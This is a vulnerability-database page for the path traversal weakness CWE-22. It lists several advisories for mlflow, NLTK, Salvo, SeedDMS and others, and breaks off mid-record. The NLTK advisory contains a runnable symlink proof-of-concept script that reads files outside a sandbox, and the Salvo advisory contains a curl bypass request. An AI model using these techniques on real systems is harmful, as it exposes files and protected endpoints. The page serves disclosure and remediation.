CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
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updated Potential_Mitigations, Relationships
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updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16114 vulnerabilities reference this CWE, most recent first.
GHSA-F82R-JJ5R-6G97
Vulnerability from github – Published: 2024-04-16 00:30 – Updated: 2024-08-09 18:06A path traversal vulnerability exists in mlflow/mlflow version 2.9.2, allowing attackers to access arbitrary files on the server. By crafting a series of HTTP POST requests with specially crafted 'artifact_location' and 'source' parameters, using a local URI with '#' instead of '?', an attacker can traverse the server's directory structure. The issue occurs due to insufficient validation of user-supplied input in the server's handlers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.9.2"
},
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-1483"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-16T18:06:16Z",
"nvd_published_at": "2024-04-16T00:15:08Z",
"severity": "HIGH"
},
"details": "A path traversal vulnerability exists in mlflow/mlflow version 2.9.2, allowing attackers to access arbitrary files on the server. By crafting a series of HTTP POST requests with specially crafted \u0027artifact_location\u0027 and \u0027source\u0027 parameters, using a local URI with \u0027#\u0027 instead of \u0027?\u0027, an attacker can traverse the server\u0027s directory structure. The issue occurs due to insufficient validation of user-supplied input in the server\u0027s handlers.",
"id": "GHSA-f82r-jj5r-6g97",
"modified": "2024-08-09T18:06:39Z",
"published": "2024-04-16T00:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1483"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/52a3855d-93ff-4460-ac24-9c7e4334198d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mlflow Path Traversal vulnerability"
}
GHSA-F832-268F-JPXX
Vulnerability from github – Published: 2025-12-03 03:31 – Updated: 2025-12-03 03:31The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'ajax_unzip_file' function in versions 2.13.1 to 2.13.2. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
{
"affected": [],
"aliases": [
"CVE-2025-13645"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-03T03:15:59Z",
"severity": "HIGH"
},
"details": "The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the \u0027ajax_unzip_file\u0027 function in versions 2.13.1 to 2.13.2. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
"id": "GHSA-f832-268f-jpxx",
"modified": "2025-12-03T03:31:20Z",
"published": "2025-12-03T03:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13645"
},
{
"type": "WEB",
"url": "https://github.com/WPChill/modula-lite/commit/90c8eb982f71b31584d9be9359e3b594e03927d7"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.13.2/includes/admin/class-modula-gallery-upload.php#L1025"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/modula-best-grid-gallery/tags/2.13.2/includes/admin/class-modula-gallery-upload.php#L1119"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3395701/modula-best-grid-gallery#file5"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3407949/modula-best-grid-gallery"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/080683bb-713f-4aa8-b635-90c96f358bec?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F833-7JW8-XWRV
Vulnerability from github – Published: 2026-09-08 16:39 – Updated: 2026-09-08 16:39This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
frame_by_name()reads<frame_dir>/<name>.xml_lu_file()reads<lu_dir>/lu<id>.xmldoc()reads<fulltext_dir>/<filename>
All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.
Proof of concept
Self-contained, runnable end to end.
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
'<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
"</frame>"
)
# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
Actual output when run against unpatched main (commit 35813c8):
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own
SECURITY.mdnames "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool.
- Confirmed unintentional: PR #3581's own description states the goal was to route through "the
nltk.pathsecsandbox... including the strictENFORCE=Truemode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, sinceabspath()never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62384"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T16:39:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`\u0027s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus\u0027s own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\n \u0027\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e\u0027\n \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n \"\u003c/frame\u003e\"\n )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}} # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\") # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK\u0027s own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581\u0027s own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn\u0027t achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
"id": "GHSA-f833-7jw8-xwrv",
"modified": "2026-09-08T16:39:24Z",
"published": "2026-09-08T16:39:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3726"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)"
}
GHSA-F83H-9VWX-MC3W
Vulnerability from github – Published: 2022-05-17 01:26 – Updated: 2022-05-17 01:26Multiple directory traversal vulnerabilities in SeedDMS (formerly LetoDMS and MyDMS) before 4.3.4 allow (1) remote authenticated users with access to the LogManagement functionality to read arbitrary files via a .. (dot dot) in the logname parameter to out/out.LogManagement.php or (2) remote attackers to write to arbitrary files via a .. (dot dot) in the fileId parameter to op/op.AddFile2.php. NOTE: vector 2 can be leveraged to execute arbitrary code by using CVE-2014-2278.
{
"affected": [],
"aliases": [
"CVE-2014-2279"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-17T23:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in SeedDMS (formerly LetoDMS and MyDMS) before 4.3.4 allow (1) remote authenticated users with access to the LogManagement functionality to read arbitrary files via a .. (dot dot) in the logname parameter to out/out.LogManagement.php or (2) remote attackers to write to arbitrary files via a .. (dot dot) in the fileId parameter to op/op.AddFile2.php. NOTE: vector 2 can be leveraged to execute arbitrary code by using CVE-2014-2278.",
"id": "GHSA-f83h-9vwx-mc3w",
"modified": "2022-05-17T01:26:44Z",
"published": "2022-05-17T01:26:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2279"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/91831"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2014-03/0101.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/show/osvdb/104466"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/125726"
},
{
"type": "WEB",
"url": "http://sourceforge.net/p/seeddms/code/ci/master/tree/CHANGELOG"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/66256"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F842-PHM9-P4V4
Vulnerability from github – Published: 2026-03-19 12:44 – Updated: 2026-03-25 20:48Details
A Path Traversal and Access Control Bypass vulnerability was discovered in the salvo-proxy component of the Salvo Rust framework (v0.89.2). The vulnerability allows an unauthenticated external attacker to bypass proxy routing constraints and access unintended backend paths (e.g., protected endpoints or administrative dashboards). This issue stems from the encode_url_path function, which fails to normalize "../" sequences and inadvertently forwards them verbatim to the upstream server by not re-encoding the "." character.
Technical Details
If someone tries to attack by sending a special code like %2e%2e, Salvo changes it back to ../ when it first checks the path. The proxy then gets this plain ../ value. When making the new URL to send forward, the encode_url_path function tries to change the path again, but its normal settings do not include the . (dot) character. Because of this, the proxy puts ../ straight into the new URL and sends a request like GET /api/../admin HTTP/1.1 to the backend server.
// crates/proxy/src/lib.rs (Lines 100-105)
pub(crate) fn encode_url_path(path: &str) -> String {
path.split('/')
.map(|s| utf8_percent_encode(s, PATH_ENCODE_SET).to_string())
.collect::<Vec<_>>()
.join("/")
}
PoC
1 - Setup an Nginx Backend Server for example 2 - Start Salvo Proxy Gateway in other port routing to /api/ 3 - Run the curl to test the bypass:
curl -s http://127.0.0.1:8080/gateway/api/%2e%2e%2fadmin/index.html
Impact
If attackers take advantage of this problem, they can get past API Gateway security checks and route limits without logging in. This could accidentally make internal services, admin pages, or folders visible.
The attack works because the special path is sent as-is to the backend, which often happens in systems that follow standard web address rules. Attackers might also use different ways of writing URLs or add extra parts to the web address to get past simple security checks that only look for exact ../ patterns.
Remediation
Instead of changing the text of the path manually, the proxy should use a standard way to clean up the path according to RFC 3986 before adding it to the main URL. It is better to use a trusted tool like the URL crate to join paths, or to block any path parts with “..” after decoding them. But a custom implementation maybe looks like:
pub(crate) fn encode_url_path(path: &str) -> String {
let normalized = normalize_path(path);
normalized.split('/')
.map(|s| utf8_percent_encode(s, PATH_ENCODE_SET).to_string())
.collect::<Vec<_>>()
.join("/")
}
fn normalize_path(path: &str) -> String {
let mut stack = Vec::new();
for part in path.split('/') {
match part {
"" | "." => (),
".." => { let _ = stack.pop(); },
_ => stack.push(part),
}
}
stack.join("/")
}
Vulnerable code introduced in: https://github.com/salvo-rs/salvo/commit/7bac30e6960355c58e358e402072d4a3e5c4e1bb#diff-e319bf7afcb577f7e9f4fb767005072f6335d23f306dd52e8c94f3d222610d02R20
Author: Tomas Illuminati
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.89.2"
},
"package": {
"ecosystem": "crates.io",
"name": "salvo"
},
"ranges": [
{
"events": [
{
"introduced": "0.39.0"
},
{
"fixed": "0.89.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33242"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T12:44:28Z",
"nvd_published_at": "2026-03-24T00:16:29Z",
"severity": "HIGH"
},
"details": "### Details\n\nA Path Traversal and Access Control Bypass vulnerability was discovered in the salvo-proxy component of the Salvo Rust framework (v0.89.2). The vulnerability allows an unauthenticated external attacker to bypass proxy routing constraints and access unintended backend paths (e.g., protected endpoints or administrative dashboards). This issue stems from the encode_url_path function, which fails to normalize \"../\" sequences and inadvertently forwards them verbatim to the upstream server by not re-encoding the \".\" character.\n\n---\n\n### Technical Details\n\nIf someone tries to attack by sending a special code like `%2e%2e`, Salvo changes it back to `../` when it first checks the path. The proxy then gets this plain `../` value. When making the new URL to send forward, the `encode_url_path` function tries to change the path again, but its normal settings do not include the `.` (dot) character. Because of this, the proxy puts `../` straight into the new URL and sends a request like `GET /api/../admin HTTP/1.1` to the backend server.\n\n```rust\n// crates/proxy/src/lib.rs (Lines 100-105)\n\npub(crate) fn encode_url_path(path: \u0026str) -\u003e String {\n path.split(\u0027/\u0027)\n .map(|s| utf8_percent_encode(s, PATH_ENCODE_SET).to_string())\n .collect::\u003cVec\u003c_\u003e\u003e()\n .join(\"/\")\n}\n```\n\n---\n\n### PoC\n\n1 - Setup an Nginx Backend Server for example\n2 - Start Salvo Proxy Gateway in other port routing to /api/\n3 - Run the curl to test the bypass:\n\n```bash\ncurl -s http://127.0.0.1:8080/gateway/api/%2e%2e%2fadmin/index.html\n```\n\n---\n\n### Impact\n\nIf attackers take advantage of this problem, they can get past API Gateway security checks and route limits without logging in. This could accidentally make internal services, admin pages, or folders visible.\n\nThe attack works because the special path is sent as-is to the backend, which often happens in systems that follow standard web address rules. Attackers might also use different ways of writing URLs or add extra parts to the web address to get past simple security checks that only look for exact `../` patterns.\n\n---\n\n### Remediation\n\nInstead of changing the text of the path manually, the proxy should use a standard way to clean up the path according to RFC 3986 before adding it to the main URL. It is better to use a trusted tool like the URL crate to join paths, or to block any path parts with \u201c..\u201d after decoding them. But a custom implementation maybe looks like:\n\n```rust\npub(crate) fn encode_url_path(path: \u0026str) -\u003e String {\n let normalized = normalize_path(path);\n normalized.split(\u0027/\u0027)\n .map(|s| utf8_percent_encode(s, PATH_ENCODE_SET).to_string())\n .collect::\u003cVec\u003c_\u003e\u003e()\n .join(\"/\")\n}\n\nfn normalize_path(path: \u0026str) -\u003e String {\n let mut stack = Vec::new();\n for part in path.split(\u0027/\u0027) {\n match part {\n \"\" | \".\" =\u003e (), \n \"..\" =\u003e { let _ = stack.pop(); },\n _ =\u003e stack.push(part),\n }\n }\n stack.join(\"/\")\n}\n```\n---\n\n**Vulnerable code introduced in:**\nhttps://github.com/salvo-rs/salvo/commit/7bac30e6960355c58e358e402072d4a3e5c4e1bb#diff-e319bf7afcb577f7e9f4fb767005072f6335d23f306dd52e8c94f3d222610d02R20\n\n---\n\n**Author**: Tomas Illuminati",
"id": "GHSA-f842-phm9-p4v4",
"modified": "2026-03-25T20:48:34Z",
"published": "2026-03-19T12:44:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/salvo-rs/salvo/security/advisories/GHSA-f842-phm9-p4v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33242"
},
{
"type": "WEB",
"url": "https://github.com/salvo-rs/salvo/commit/7bac30e6960355c58e358e402072d4a3e5c4e1bb#diff-e319bf7afcb577f7e9f4fb767005072f6335d23f306dd52e8c94f3d222610d02R20"
},
{
"type": "PACKAGE",
"url": "https://github.com/salvo-rs/salvo"
},
{
"type": "WEB",
"url": "https://github.com/salvo-rs/salvo/releases/tag/v0.89.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Salvo has a Path Traversal in salvo-proxy::encode_url_path allows API Gateway Bypass"
}
GHSA-F87P-3W4V-5Q9X
Vulnerability from github – Published: 2026-08-14 12:31 – Updated: 2026-08-14 12:31The actix-files crate (actix_files) before version 0.6.10 contains an information exposure vulnerability. When a non-existing folder is passed as the serve_from argument to Files::new(), the mount path defaults to an empty path; the service then joins the request path with this empty path and canonicalizes it, causing Rust to resolve it as a relative path. As a result, an attacker can request paths that resolve relative to the application's working directory and access unintended files.
{
"affected": [],
"aliases": [
"CVE-2026-72814"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T12:16:44Z",
"severity": "MODERATE"
},
"details": "The actix-files crate (actix_files) before version 0.6.10 contains an information exposure vulnerability. When a non-existing folder is passed as the serve_from argument to Files::new(), the mount path defaults to an empty path; the service then joins the request path with this empty path and canonicalizes it, causing Rust to resolve it as a relative path. As a result, an attacker can request paths that resolve relative to the application\u0027s working directory and access unintended files.",
"id": "GHSA-f87p-3w4v-5q9x",
"modified": "2026-08-14T12:31:25Z",
"published": "2026-08-14T12:31:25Z",
"references": [
{
"type": "WEB",
